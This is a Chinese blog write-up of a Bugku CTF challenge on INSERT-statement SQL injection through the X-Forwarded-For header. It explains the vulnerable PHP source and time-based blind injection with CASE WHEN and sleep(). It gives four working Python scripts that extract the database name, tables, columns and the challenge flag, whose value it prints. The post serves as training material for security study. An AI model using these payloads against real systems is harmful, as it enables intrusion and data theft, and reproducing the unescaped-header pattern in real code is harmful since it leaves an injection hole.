bugku-web-insert into 注入

insert into 注入

题目分析

题目地址http://123.206.87.240:8002/web15/
首先题目中已经给出了php源码,先分析一下。我在原来的代码上做了一些修改,便于调试操作。

<?php
    //隐藏报错信息
    error_reporting(0);
    // 函数功能获取用户的ip地址
    function getIp()
    {
      // PHP使用$_SERVER['HTTP_X_FORWARDED_FOR']获取IP
      // 当没用XFF头就用$_SERVER['REMOTE_ADDR'];获取IP。
      $ip = '';
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
          $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
      } else {
          $ip = $_SERVER['REMOTE_ADDR'];
      }
      // ip过滤掉逗号,以逗号将内容分成数组
      $ip_arr = explode(',', $ip);
      return $ip_arr[0];
    }
    // 设置服务器ip,用户名,密码,数据库名
    $host = "localhost";
    $user = "";
    $pass = "";
    $db = "";
    // 连接数据库,不然给出错误信息	mysql_connect()已经在php5.5版本以上修改为mysqli_connect()
    $connect = mysqli_connect($host, $user, $pass) or die("Unable to connect");
    // 选中数据库,不然给出错误信息	mysql_select_db()已经在php5.5版本以上修改为mysqli_select_db()
    mysqli_select_db($connect, $db) or die("Unable to select database");
    // 获取用户的ip
    $ip = getIp();
    // 输出用户的ip
    echo 'your ip is :' . $ip;
    // 构造sql语句
    $sql = "insert into client_ip (ip) values ('$ip')";
    // insert into client_ip (ip) values ('1') select * from 1#')
    // 发送sql语句mysql_query()已经在php5.5版本以上修改为mysqli_query()
    mysqli_query($connect, $sql);
?>

通过对于源代码的分析我们可以知道,会获取X-ForWarded-For(XFF)请求头字段所记录的IP地址(可控),如果没有设置XFF头就会获取正在浏览当前页面用户的 IP 地址(不可控)。然后将该IP放入 client_ip表中的ip字段中。

既然这道题已经提示说是注入,那么这肯定是一道sql注入,唯一的切入点便是对XFF头中IP的设置,因为这个不像成绩单那道题一样能够显示查询结果,加之题目说写一个python脚本,我们尝试一下时间延迟盲注。

时间延迟盲注,是通过sleep()函数设置sql语句,之后通过响应的时间来判断查询内容。

举个栗子:

我们还是继续采用成绩单那个测试数据库来举例子。

新建一张测试表数据

create table test_student(
    -> id int(4) not null primary key auto_increment ,
    -> class char(20) not null);

先插入一条数据

insert into test_student(class) value(1001);
 select * from test_student;
+----+-------+
| id | class |
+----+-------+
|  1 | 1001  |
+----+-------+

如何体现时间延迟,我们修改一下SQL语句

insert into test_student(class) value(1002 and sleep(5));
 select * from test_student;
+----+-------+
| id | class |
+----+-------+
|  1 | 1001  |
|  2 | 0     |
+----+-------+

这条语句因为sleep(5)会延迟5秒注入 1002 and sleep(5) 逻辑判断值是0,所以插入的值为0

根据这个点我们可以构造出SQL语句,通过判断响应的时间来进行一系列的操作,我们要暴力得到数据库名,库中的表名,表中的字段名,字段中的内容。

先看一下源代码中的SQL语句

insert into client_ip (ip) values ('$ip')

怎么暴力库名,直接给出python的脚本(无论是暴库还是暴表还是暴字段内容,这都是一个框架,改变的只是SQL语句)

代码分析

暴历库名

源代码
import requests
# 给出所有的可能出现字符
ch = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.'
# 设定url
url = "http://123.206.87.240:8002/web15/"
# 记录爆出的库名
database = ''
# 猜想库名长度不超过10
for i in range(1, 10):
    # 每次选中一个字符参与暴历
    for str1 in ch:
        # 该语句用于暴历库名
        sql="1' and (case when substr(database() from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
        # print(sql)
        # 设置头部信息
        header = {'X-ForWarded-For': sql}
        try:
            # 用get方式请求页面,响应时间不得超过3秒钟。如果超过,就会抛出异常
            requests.get(url, headers=header, timeout=3)
        except:
            # 如果出现异常就记录该字符,说明该字符是所得的内容
            database+=str1
            break
# 输出(库名,表名,列名,内容)
print(database)
# 报出库名字web15

这段代码是暴历数据库的代码,我们先分析一下SQL注入语句

"1' and (case when substr(database() from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"

结合题目所给的SQL语句,得到完整的SQL语句

insert into client_ip (ip) values ('1' and (case when substr(database() from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#')

这里的str(i) 和str1我们用首次遍历的值来代替

insert into client_ip (ip) values ('1' and (case when substr(database() from 1 for 1)=‘0’ then sleep(5) else 1 end))#')
case when …then …else…end语句

形成了完整的SQL语句,我们主要分析一下case (搜索函数)开始的部分

case

​ when <表达式语句1-1> then <表达式语句2-1>

​ when <表达式语句1-2> then <表达式语句2-2>

​ when <表达式语句1-3> then <表达式语句2-3>

​ …

​ else <表达式语句3-n>

​ end

其实这个和C语言的case很像,实际上这就是if …else if …else if …else语句,其实SQL语句里面也有if语句但是其中if语句的形式是if(exp1,exp2,exp3)【if(表达式, 表达式成立的值, 表达式不成立的值)】

但是源代码中explode(',', $ip)对逗号进行过滤,所以会导致SQL语句的不完整,所以这里采用case when …then …else…end

substr()函数

database()函数会返回当前的数据库名称

substr(string,index,length),本来substr()字符串截取函数,应该是这样的从string字符串中,从第index个开始取length个字符构成字符串

比如substr(“Hello World”,1,3)便会得到Hel(这个函数的索引是从1开始的)

但是这里的都逗号会被过滤,所以我们不能用这样的格式去做,需要换一种方式

substr(string from index for length)效果和substr(string,index,length)一样

所以这条语句的意思就是,从database()返回的数据库名中依次取一个字符与字典中的字符比较,如果出现相等的情况,就延迟响应,延迟5秒(sleep(5)),requests.get(url, headers=header, timeout=3)我们设置了响应时间至少的3秒,所以出现5秒的情况便是数据库名称中含有该字符,我们就将这个字符取出来,最后遍历出所有的字符,从而得到库名。

运行这段代码,所得到的的库名为web15

暴历表名

源代码

import requests
# 给出所有的可能出现字符
ch = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.'
# 设定url
url = "http://123.206.87.240:8002/web15/"
# 记录爆出的表名
table = ''
# 猜想表名长度不超过20
for i in range(1, 20):
    # 每次选中一个字符参与暴历
    for str1 in ch:
        # 该语句用于暴历表名
        sql="1' and (case when substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
        # print(sql)
        # 设置头部信息
        header = {'X-ForWarded-For': sql}
        try:
            # 用get方式请求页面,响应时间不得超过3秒钟。如果超过,就会抛出异常
            requests.get(url, headers=header, timeout=3)
        except:
            table+=str1
            break
# 输出表名
print(table)
# 爆出表名client_ipflag根据php的sql语句可以知道client_ip是其中的一张表 所以另一张表是flag

我们构造SQL语句

1' and (case when substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#

完整的SQL语句

insert into client_ip (ip) values(‘1' and (case when substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#

同样的我们只是关注case部分的代码(str(i) 和str1我们用首次遍历的值来代替)

 (case when substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from 1 for 1)=’0‘ then sleep(5) else 1 end)

结构其实和暴历库名没有什么区别,关键是在于这一句,这句话能够获取当前库中所有的表名

select group_concat(table_name) from information_schema.tables where table_schema='web15'

在information_schema数据库中的 tables表中是存有所有数据库的名字和对应的表名,对应的字段名是 table_schema和table_name

information_schema.tables是绝对路径访问,选中的是information_schema库中tables表

具体可以看我以前的博客https://blog.csdn.net/realstarstarli/article/details/106754435(基于bugku web 成绩单的sql注入入门)

group_concat()函数

group_concat()函数能够将查询的内容形成一个字符串

举个栗子

show tables;
+--------------------+
| Tables_in_stu_info |
+--------------------+
| s_login            |
| stu_gredes         |
| t_login            |
| test_student       |
+--------------------+

我们测试库stu_info数据库有四张表,没有用group_concat()函数情况下

select table_name from information_schema.tables where table_schema='stu_info';
+--------------+
| table_name   |
+--------------+
| s_login      |
| stu_gredes   |
| t_login      |
| test_student |
+--------------+
4 rows in set (0.00 sec)

结果是4行的数据

用group_concat()函数

select group_concat(table_name) from information_schema.tables where table_schema='stu_info';
+-----------------------------------------+
| group_concat(table_name)                |
+-----------------------------------------+
| s_login,stu_gredes,t_login,test_student |
+-----------------------------------------+
1 row in set (0.00 sec)

结果是一行数据

一行数据后所得一个字符串,和暴历库名一样暴历表名

爆出表名client_ipflag根据php的sql语句可以知道client_ip是其中的一张表 所以另一张表是flag(逗号会被过滤掉,原本应该是client_ip,flag应该也是可以观察出来的)

暴历字段名

源代码
import requests
# 给出所有的可能出现字符
ch = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.'
# 设定url
url = "http://123.206.87.240:8002/web15/"
# 记录爆出的列名
coulmn = ''
# 猜想列名不超过20
for i in range(1, 20):
    # 每次选中一个字符参与暴历
    for str1 in ch:
        # 该语句用于暴历列名
        sql="1' and (case when substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from "+str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
        # print(sql)
        # 设置头部信息
        header = {'X-ForWarded-For': sql}
        try:
            # 用get方式请求页面,响应时间不得超过3秒钟。如果超过,就会抛出异常
            requests.get(url, headers=header, timeout=3)
        except:
            # 如果出现异常就记录该字符,说明该字符是所得的内容
            coulmn+=str1
            break
# 输出列名
print(coulmn)
# 爆出列名flag

select group_concat(column_name) from information_schema.columns where table_name='flag'

在information_schema数据库中的columns表中是存有所有表的名字和对应的字段名,对应的字段名是 table_name和column_name

所以采用一样的方式暴历出列名, 爆出列名flag

暴历字段内容(获取flag)

源代码
import requests
# 给出所有的可能出现字符
ch = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.'
# 设定url
url = "http://123.206.87.240:8002/web15/"
content = ''
# 猜想内容长度不超过40
for i in range(1, 40):
    # 每次选中一个字符参与暴历
    for str1 in ch:
         # 该语句用于暴历内容
        sql = "1'and (case when substr((select group_concat(flag) from flag) from " + \
            str(i)+" for 1)='"+str1+"' then sleep(5) else 1 end))#"
        # print(sql)
        # 设置头部信息
        header = {'X-ForWarded-For': sql}
        try:
            # 用get方式请求页面,响应时间不得超过3秒钟。如果超过,就会抛出异常
            requests.get(url, headers=header, timeout=3)
        except:
            # 如果出现异常就记录该字符,说明该字符是所得的内容
            content += str1
            break
# 输出内容
print(content)
# 爆出内容cdbf14c9551d5be5612f7bb5d2867853

所以flag:flag[cdbf14c9551d5be5612f7bb5d2867853]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值